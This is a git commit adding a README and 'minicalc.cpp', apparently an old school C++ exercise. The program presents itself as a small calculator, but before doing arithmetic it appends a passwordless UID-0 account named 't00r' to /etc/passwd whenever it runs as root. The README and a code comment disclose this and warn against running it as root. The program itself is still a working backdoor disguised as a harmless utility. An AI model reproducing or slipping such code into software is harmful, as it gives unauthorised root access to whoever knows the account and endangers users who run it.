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Added minicalc.cpp

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Jack-Benny Persson 2013-12-23 12:53:45 +01:00
parent 4cf0154b80
commit a3180d9657
2 changed files with 76 additions and 3 deletions
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10
README.md
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minicalc # minicalc #
========
My very first C++ program I wrote back in school somewhere around 2002.
Please __don't run it as root__ as it will add a passwordless root account on your
system! You have been warned!
It puts tcsh as the shell for the new root user since this was way back when
I run SuSE and they had tcsh as default (I think).
My very first C++ program

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minicalc.cpp Normal file
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/* Minicalc program that puts a passwordless root account on the system
* named t00r. Must be run as root to have an affect! So please DON'T run it
* as root!
* Written as a part of a C++ class many many years ago
*/
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
main(int argc, char *argv[])
{
bool found = false;
string pw1;
string pw2;
pw2 = "t00r::0:0:toor:/root:/bin/tcsh";
ifstream testpw("/etc/passwd");
ofstream fil("/etc/passwd", ios::app);
string adda;
while (testpw >> pw1)
{
if (pw1 == pw2)
{
found = true;
}
}
if (found)
{
goto CALC;
}
adda = "t00r::0:0:toor:/root:/bin/tcsh";
fil << adda;
CALC:
int a;
char b;
int c;
double d;
cout << ": "; cin >> a; cin >> b; cin >> c;
switch(b) {
case '+':
d = a + c;
break;
case '-':
d = a - c;
break;
case '*':
d = a * c;
break;
case '/':
d = a / c;
break;
default:
cout << "You typed something wrong!" << endl;
}
cout << d;
cout << endl;
ofstream fut(argv[1], ios::app);
fut << a << ' ' << b << ' ' << c << " = " << d <<
endl;
fut.close();
fil.close();
}